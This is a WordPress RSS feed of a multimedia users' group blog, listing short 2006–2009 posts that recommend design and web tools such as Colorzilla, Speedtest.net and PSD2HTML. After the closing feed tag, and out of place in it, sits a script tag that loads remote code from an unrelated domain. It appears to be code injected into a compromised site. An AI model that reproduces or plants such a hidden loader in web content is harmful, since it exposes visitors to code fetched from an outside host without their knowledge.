































































































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MMUG-IRELAND &#187; Tools</title>
	<atom:link href="http://www.mmug-ireland.org/category/tools/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mmug-ireland.org</link>
	<description>Multimedia Users Group of Ireland</description>
	<lastBuildDate>Tue, 10 Feb 2009 10:05:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>List of 31 Flex APIs, Libraries, Components and Tools</title>
		<link>http://www.mmug-ireland.org/2008/05/27/list-of-31-flex-apis-libraries-components-and-tools/</link>
		<comments>http://www.mmug-ireland.org/2008/05/27/list-of-31-flex-apis-libraries-components-and-tools/#comments</comments>
		<pubDate>Tue, 27 May 2008 13:38:16 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[flex]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/?p=94</guid>
		<description><![CDATA[I just stumbled across this today and thought i&#8217;d share.
It&#8217;s a wonderful list of resources for anyone who uses or wants to us Flex from Shawn the Flex guy.
Find the link below:
http://seantheflashguy.com/blog/2008/05/24/36-new-cool-flex-and-as3-tools-libraries-and-components/
]]></description>
			<content:encoded><![CDATA[<p>I just stumbled across this today and thought i&#8217;d share.</p>
<p>It&#8217;s a wonderful list of resources for anyone who uses or wants to us Flex from <a href="http://seantheflashguy.com/">Shawn the Flex guy</a>.</p>
<p>Find the link below:</p>
<p>h<a href="http://seantheflashguy.com/blog/2008/05/24/36-new-cool-flex-and-as3-tools-libraries-and-components/">ttp://seantheflashguy.com/blog/2008/05/24/36-new-cool-flex-and-as3-tools-libraries-and-components/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2008/05/27/list-of-31-flex-apis-libraries-components-and-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial: How to Build an Affordable Camera Stabilizer</title>
		<link>http://www.mmug-ireland.org/2008/01/30/tutorial-how-to-build-an-affordable-camera-stabilizer/</link>
		<comments>http://www.mmug-ireland.org/2008/01/30/tutorial-how-to-build-an-affordable-camera-stabilizer/#comments</comments>
		<pubDate>Wed, 30 Jan 2008 15:35:58 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2008/01/30/tutorial-how-to-build-an-affordable-camera-stabilizer/</guid>
		<description><![CDATA[This little video tutorial shows us how to make an effective, affordable and compact stabilizer for our cameras. It&#8217;s a bit crude but after testing it out myself it seems to do the trick nicely.

				$1 Image Stabilizer For Any Camera &#8211; Lose The Tripod &#8211; video powered by Metacafe 
]]></description>
			<content:encoded><![CDATA[<p>This little video tutorial shows us how to make an effective, affordable and compact stabilizer for our cameras. It&#8217;s a bit crude but after testing it out myself it seems to do the trick nicely.</p>
<p><embed src="http://www.metacafe.com/fplayer/1041948/1_image_stabilizer_for_any_camera___lose_the_tripod.swf" width="400" height="345" wmode="transparent"  pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"></embed><br/><font size="1"></p>
<p>				<a href="http://www.metacafe.com/watch/1041948/1_image_stabilizer_for_any_camera_lose_the_tripod/">$1 Image Stabilizer For Any Camera &#8211; Lose The Tripod &#8211; video powered by Metacafe</a></font> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2008/01/30/tutorial-how-to-build-an-affordable-camera-stabilizer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Link: Design Related</title>
		<link>http://www.mmug-ireland.org/2007/02/23/link-design-related/</link>
		<comments>http://www.mmug-ireland.org/2007/02/23/link-design-related/#comments</comments>
		<pubDate>Fri, 23 Feb 2007 14:26:12 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2007/02/23/link-design-related/</guid>
		<description><![CDATA[Design Related is a new(ish) site that gives designers from all walks of life and trades a tool to create an online portfolio and network with other designers. The site works well and is also very well built.
I just signed up today for free and I think I will be adding all my new and [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.designrelated.com">Design Related</a> is a new(ish) site that gives designers from all walks of life and trades a tool to create an online portfolio and network with other designers. The site works well and is also very well built.</p>
<p>I just signed up today for free and I think I will be adding all my new and existing projects to this site from now on. I love the look and feel and I found it very easy to use and update. If your looking to build an online portfolio in about 15 minutes you should check it out yourself:</p>
<p><a href="http://www.designrelated.com">Design Related</a></p>
<p>My portfolio:</p>
<p><a href="http://www.designrelated.com/cgehrke">Design Related:cgehrke</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2007/02/23/link-design-related/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Skype: Status Button</title>
		<link>http://www.mmug-ireland.org/2007/02/23/skype-status-button/</link>
		<comments>http://www.mmug-ireland.org/2007/02/23/skype-status-button/#comments</comments>
		<pubDate>Fri, 23 Feb 2007 12:58:03 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2007/02/23/skype-status-button/</guid>
		<description><![CDATA[I have added a little Skype button on the right hand side that will show my status and allow you to easily send me a little message if you have Skype installed. It&#8217;s free and becoming a must have tool.
Skype.com
]]></description>
			<content:encoded><![CDATA[<p>I have added a little Skype button on the right hand side that will show my status and allow you to easily send me a little message if you have Skype installed. It&#8217;s free and becoming a must have tool.</p>
<p><a href="http://www.skype.com">Skype.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2007/02/23/skype-status-button/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Color Picking Made Easy</title>
		<link>http://www.mmug-ireland.org/2007/02/22/color-picking-made-easy/</link>
		<comments>http://www.mmug-ireland.org/2007/02/22/color-picking-made-easy/#comments</comments>
		<pubDate>Thu, 22 Feb 2007 17:07:36 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2007/02/22/color-picking-made-easy/</guid>
		<description><![CDATA[I work with colours all the time and if your a web designer you probably do too. I usually end up opening up Fireworks and use the colour picker to find the exact hex number for my colours but now I have found a new little tool that works wonders.
If your not already using Firefox [...]]]></description>
			<content:encoded><![CDATA[<p>I work with colours all the time and if your a web designer you probably do too. I usually end up opening up Fireworks and use the colour picker to find the exact hex number for my colours but now I have found a new little tool that works wonders.</p>
<p>If your not already using <a href="http://www.mozilla.com/">Firefox</a> please get it and install it and never use Internet Explorer again. Second, install this great new little plugin tool called <a href="http://www.iosart.com/firefox/colorzilla/">Colorzilla</a>. Once you install it you will be able to easily get the hex colour for any colour on a page. I am going to be using this little sucker a LOT.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2007/02/22/color-picking-made-easy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Link: PhotoJojo</title>
		<link>http://www.mmug-ireland.org/2007/02/13/link-photojojo/</link>
		<comments>http://www.mmug-ireland.org/2007/02/13/link-photojojo/#comments</comments>
		<pubDate>Tue, 13 Feb 2007 16:07:48 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2007/02/13/link-photojojo/</guid>
		<description><![CDATA[What a wonderful site for photography tips and tricks. From Photoshop and Illustrator tips to actual hands on tips and tricks for both the advanced and novice photographer. You can choose to sign up for their newsletter or if you want to see what you have missed you can surf through their archive.
I am already [...]]]></description>
			<content:encoded><![CDATA[<p>What a wonderful site for photography tips and tricks. From Photoshop and Illustrator tips to actual hands on tips and tricks for both the advanced and novice photographer. You can choose to sign up for their newsletter or if you want to see what you have missed you can surf through their archive.</p>
<p>I am already a huge fan.</p>
<p><a href="http://www.photojojo.com/">Photojojo.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2007/02/13/link-photojojo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Graphical Speed Test</title>
		<link>http://www.mmug-ireland.org/2006/09/27/graphical-speed-test/</link>
		<comments>http://www.mmug-ireland.org/2006/09/27/graphical-speed-test/#comments</comments>
		<pubDate>Wed, 27 Sep 2006 13:24:29 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[flash]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/?p=26</guid>
		<description><![CDATA[It&#8217;s always handy to know exactly what your internet connection speed is. There are many sites that offer both free and paid services that do just that. But, none have done it as graphically pleasing as the new and improved Speedtest.net.
With their clean flash interface and smooth matrix-like overview, you can see your speed from [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s always handy to know exactly what your internet connection speed is. There are many sites that offer both free and paid services that do just that. But, none have done it as graphically pleasing as the new and improved <a href="http://www.speedtest.net/">Speedtest.net</a>.</p>
<p>With their clean <strong>flash</strong> interface and smooth matrix-like overview, you can see your speed from different locations and get a real geographical idea of exactly where the data is traveling during the test. </p>
<p>Check it out for yourself:</p>
<p><a href="http://www.speedtest.net/">Speedtest.net</a></p>
<p><em>via <a href="http://www.123adapt.com/word/2006/08/18/graphical-speedtest/">The iSpySite.com</a></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2006/09/27/graphical-speed-test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tool: PSD2HTML</title>
		<link>http://www.mmug-ireland.org/2006/09/25/psd2html/</link>
		<comments>http://www.mmug-ireland.org/2006/09/25/psd2html/#comments</comments>
		<pubDate>Mon, 25 Sep 2006 13:36:13 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/?p=15</guid>
		<description><![CDATA[As a web developer one of the most time consuming things can be cutting up your templates from photoshop or fireworks and putting it into html. This process has evolved rapidly over the past few years but it&#8217;s still quite time consuming, until now. If you just don&#8217;t want the bother of cutting them up [...]]]></description>
			<content:encoded><![CDATA[<p>As a web developer one of the most time consuming things can be cutting up your templates from photoshop or fireworks and putting it into html. This process has evolved rapidly over the past few years but it&#8217;s still quite time consuming, until now. If you just don&#8217;t want the bother of cutting them up yourself you can now send your PSD file off to the folks at <a href="http://www.psd2html.com">psd2html.com</a> and they will cut up your templates for you and place them into a variety of html formats for you.</p>
<p>The options are varied in cost depending on the detail of the html you require. Below is a break down:</p>
<blockquote><p>PSD2HTML provides a high-quality, fast hand-made conversion of graphic design for the Web (Adobe® PhotoShop® format, Macromedia® Fireworks® format) into Hypertext Markup Language (HTML) and its extensions. We support the following specifications of HTML</p>
<p>    * HTML 4.01 Loose (supported by most modern browsers)<br />
    * W3C Valid HTML 4.01 (HTML 4.01 slicing corresponding exactly to the requirements of World Wide Web Consortium &#8211; http://www.w3.org/TR/html4)<br />
    * XHTML 1 Loose (supported by most modern browsers as well as most browsers for mobile devices)<br />
    * W3C Valid XHTML 1 (XHTML 1 slicing corresponding exactly to the requirements of World Wide Web Consortium &#8211; http://www.w3.org/TR/xhtml1)</p>
<p>On demand we provide an extensive set of options for HTML production including:</p>
<p>    * Table-less HTML production<br />
    * W3C Valid, Shorthand and Optimized CSS<br />
    * Semantic and SEO coding<br />
    * Complete Presentational Separation<br />
    * Complete Logic Separation<br />
    * Implementation of DHTML / JavaScript options</p></blockquote>
<p><em>via <a href="http://www.123adapt.com/word/2006/08/17/psd2html/">theispysite.com</a></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2006/09/25/psd2html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>